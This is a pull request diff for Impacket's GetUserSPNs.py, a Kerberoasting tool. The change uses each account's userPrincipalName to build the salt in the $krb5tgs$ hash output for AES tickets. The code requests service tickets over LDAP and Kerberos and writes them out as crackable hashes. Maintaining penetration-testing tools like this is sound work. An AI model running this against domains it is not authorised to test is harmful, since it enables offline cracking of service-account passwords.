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[GetUserSPNs.py] improvement for the salt for AES hashes #1773

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[GetUserSPNs.py] improvement for the salt for AES hashes #1773

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36 changes: 21 additions & 15 deletions examples/GetUserSPNs.py
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Original file line number Diff line number Diff line change
Expand Up @@ -174,11 +174,15 @@ def getTGT(self):

return TGT

def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):
def outputTGS(self, ticket, oldSessionKey, sessionKey, userPrincipalName, spn, fd=None):
if self.__no_preauth:
decodedTGS = decoder.decode(ticket, asn1Spec=AS_REP())[0]
else:
decodedTGS = decoder.decode(ticket, asn1Spec=TGS_REP())[0]

# remove domain part from DN and replace special character "/"
userPrincipalName = userPrincipalName.split('@')[0].replace('/','')

# According to RFC4757 (RC4-HMAC) the cipher part is like:
# struct EDATA {
# struct HEADER {
Expand All @@ -195,7 +199,7 @@ def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):
# ticket
if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'],
constants.EncryptionTypes.rc4_hmac.value, userPrincipalName, decodedTGS['ticket']['realm'],
spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
Expand All @@ -205,7 +209,7 @@ def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):
fd.write(entry + '\n')
elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'],
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, userPrincipalName, decodedTGS['ticket']['realm'],
spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())
Expand All @@ -215,7 +219,7 @@ def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):
fd.write(entry + '\n')
elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'],
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, userPrincipalName, decodedTGS['ticket']['realm'],
spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())
Expand All @@ -225,7 +229,7 @@ def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):
fd.write(entry + '\n')
elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'],
constants.EncryptionTypes.des_cbc_md5.value, userPrincipalName, decodedTGS['ticket']['realm'],
spn.replace(':', '~'),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
Expand All @@ -240,11 +244,11 @@ def outputTGS(self, ticket, oldSessionKey, sessionKey, username, spn, fd=None):

if self.__saveTGS is True:
# Save the ticket
logging.debug('About to save TGS for %s' % username)
logging.debug('About to save TGS for %s' % userPrincipalName)
ccache = CCache()
try:
ccache.fromTGS(ticket, oldSessionKey, sessionKey)
ccache.saveFile('%s.ccache' % username)
ccache.saveFile('%s.ccache' % userPrincipalName)
except Exception as e:
logging.error(str(e))

Expand Down Expand Up @@ -318,7 +322,7 @@ def run(self):
paged_search_control = ldapasn1.SimplePagedResultsControl(criticality=True, size=1000)

resp = ldapConnection.search(searchFilter=searchFilter,
attributes=['servicePrincipalName', 'sAMAccountName',
attributes=['servicePrincipalName', 'sAMAccountName', 'userPrincipalName',
'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon'],
searchControls=[paged_search_control])

Expand All @@ -338,6 +342,7 @@ def run(self):
continue
mustCommit = False
sAMAccountName = ''
userPrincipalName = ''
memberOf = ''
SPNs = []
pwdLastSet = ''
Expand All @@ -349,6 +354,8 @@ def run(self):
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userPrincipalName':
userPrincipalName = str(attribute['vals'][0])
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = str(attribute['vals'][0])
if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
Expand Down Expand Up @@ -376,19 +383,19 @@ def run(self):
logging.debug('Bypassing disabled account %s ' % sAMAccountName)
else:
for spn in SPNs:
answers.append([spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation])
answers.append([spn, sAMAccountName, userPrincipalName, memberOf, pwdLastSet, lastLogon, delegation])
except Exception as e:
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass

if len(answers) > 0:
self.printTable(answers, header=["ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet", "LastLogon",
self.printTable(answers, header=["ServicePrincipalName", "Name", "userPrincipalName", "MemberOf", "PasswordLastSet", "LastLogon",
"Delegation"])
print('\n\n')

if self.__requestTGS is True or self.__requestUser is not None:
# Let's get unique user names and a SPN to request a TGS for
users = dict((vals[1], vals[0]) for vals in answers)
# Let's get unique user names
users = dict((vals[1], vals[2]) for vals in answers)

# Get a TGT for the current user
TGT = self.getTGT()
Expand All @@ -398,8 +405,7 @@ def run(self):
else:
fd = None

for user, SPN in users.items():
sAMAccountName = user
for sAMAccountName, userPrincipalName in users.items():
downLevelLogonName = self.__targetDomain + "\\" + sAMAccountName

try:
Expand All @@ -411,7 +417,7 @@ def run(self):
self.__kdcIP,
TGT['KDC_REP'], TGT['cipher'],
TGT['sessionKey'])
self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName,
self.outputTGS(tgs, oldSessionKey, sessionKey, userPrincipalName,
self.__targetDomain + "/" + sAMAccountName, fd)
except Exception as e:
logging.debug("Exception:", exc_info=True)
Expand Down
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